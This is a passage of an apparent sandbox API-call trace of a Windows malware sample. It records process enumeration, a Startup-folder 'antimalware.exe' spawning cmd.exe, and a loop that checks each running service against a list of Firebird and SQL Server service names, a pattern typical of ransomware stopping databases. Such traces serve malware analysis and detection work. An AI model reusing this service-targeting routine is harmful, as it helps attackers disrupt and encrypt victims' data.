	[0057.904] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0057.904] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0057.904] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0057.905] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0057.905] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0057.906] lstrlenW (lpString="bad-length.exe") returned 14
	[0057.906] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0057.907] lstrlenW (lpString="unit.exe") returned 8
	[0057.907] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0057.910] lstrlenW (lpString="parents.exe") returned 11
	[0057.910] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0057.911] lstrlenW (lpString="charge.exe") returned 10
	[0057.911] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0057.912] lstrlenW (lpString="measures-provision.exe") returned 22
	[0057.912] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0057.913] lstrlenW (lpString="dllhost.exe") returned 11
	[0057.913] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.914] lstrlenW (lpString="conhost.exe") returned 11
	[0057.914] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.914] lstrlenW (lpString="conhost.exe") returned 11
	[0057.914] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0057.915] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0057.915] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0057.916] lstrlenW (lpString="cmd.exe") returned 7
	[0057.916] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.917] lstrlenW (lpString="conhost.exe") returned 11
	[0057.917] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.918] lstrlenW (lpString="svchost.exe") returned 11
	[0057.918] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0057.918] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0057.918] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0057.919] lstrlenW (lpString="conhost.exe") returned 11
	[0057.919] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0057.920] lstrlenW (lpString="mode.com") returned 8
	[0057.920] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.921] lstrlenW (lpString="svchost.exe") returned 11
	[0057.921] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0057.921] CloseHandle (hObject=0x2d0) returned 1
	[0057.921] Sleep (dwMilliseconds=0x1f4) 
	[0058.479] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fe40
	[0058.480] EnumServicesStatusExW (in: hSCManager=0x68fe40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0058.480] GetLastError () returned 0xea
	[0058.480] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x3bfae80
	[0058.480] EnumServicesStatusExW (in: hSCManager=0x68fe40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0058.481] CloseServiceHandle (hSCObject=0x68fe40) returned 1
	[0058.481] lstrlenW (lpString="Appinfo") returned 7
	[0058.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0058.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0058.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0058.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0058.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0058.481] lstrlenW (lpString="AppXSvc") returned 7
	[0058.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0058.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0058.481] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0058.481] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0058.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0058.482] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0058.482] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0058.482] lstrlenW (lpString="Audiosrv") returned 8
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0058.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0058.482] lstrlenW (lpString="BFE") returned 3
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0058.482] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0058.482] lstrlenW (lpString="BITS") returned 4
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0058.482] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0058.482] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0058.482] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0058.482] lstrlenW (lpString="CDPSvc") returned 6
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0058.482] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0058.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0058.482] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0058.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0058.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0058.483] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0058.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0058.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0058.483] lstrlenW (lpString="CryptSvc") returned 8
	[0058.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0058.483] lstrlenW (lpString="DcomLaunch") returned 10
	[0058.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0058.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0058.483] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0058.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0058.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0058.483] lstrlenW (lpString="Dhcp") returned 4
	[0058.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0058.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0058.483] lstrlenW (lpString="Dnscache") returned 8
	[0058.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0058.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0058.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0058.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0058.484] lstrlenW (lpString="DoSvc") returned 5
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0058.484] lstrlenW (lpString="DPS") returned 3
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0058.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0058.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0058.484] lstrlenW (lpString="DusmSvc") returned 7
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0058.484] lstrlenW (lpString="EventLog") returned 8
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0058.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0058.484] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0058.484] lstrlenW (lpString="EventSystem") returned 11
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0058.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0058.484] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0058.484] lstrlenW (lpString="FontCache") returned 9
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0058.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0058.484] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0058.484] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0058.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0058.484] lstrlenW (lpString="gpsvc") returned 5
	[0058.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0058.485] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0058.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0058.485] lstrlenW (lpString="iphlpsvc") returned 8
	[0058.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0058.485] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0058.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0058.485] lstrlenW (lpString="KeyIso") returned 6
	[0058.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0058.485] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0058.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0058.485] lstrlenW (lpString="LanmanServer") returned 12
	[0058.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0058.485] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0058.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0058.485] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0058.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0058.485] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0058.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0058.485] lstrlenW (lpString="lfsvc") returned 5
	[0058.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0058.485] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0058.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0058.485] lstrlenW (lpString="lmhosts") returned 7
	[0058.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0058.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0058.485] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0058.486] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0058.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0058.486] lstrlenW (lpString="LSM") returned 3
	[0058.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0058.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0058.486] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0058.486] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0058.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0058.486] lstrlenW (lpString="MapsBroker") returned 10
	[0058.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0058.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0058.486] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0058.486] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0058.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0058.486] lstrlenW (lpString="MpsSvc") returned 6
	[0058.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0058.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0058.486] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0058.486] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0058.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0058.486] lstrlenW (lpString="NcbService") returned 10
	[0058.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0058.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0058.492] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0058.492] lstrlenW (lpString="netprofm") returned 8
	[0058.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0058.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0058.492] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0058.492] lstrlenW (lpString="NlaSvc") returned 6
	[0058.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0058.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0058.492] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0058.492] lstrlenW (lpString="nsi") returned 3
	[0058.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0058.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0058.492] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0058.492] lstrlenW (lpString="PcaSvc") returned 6
	[0058.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0058.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0058.492] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0058.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0058.492] lstrlenW (lpString="PlugPlay") returned 8
	[0058.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0058.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0058.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0058.493] lstrlenW (lpString="Power") returned 5
	[0058.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
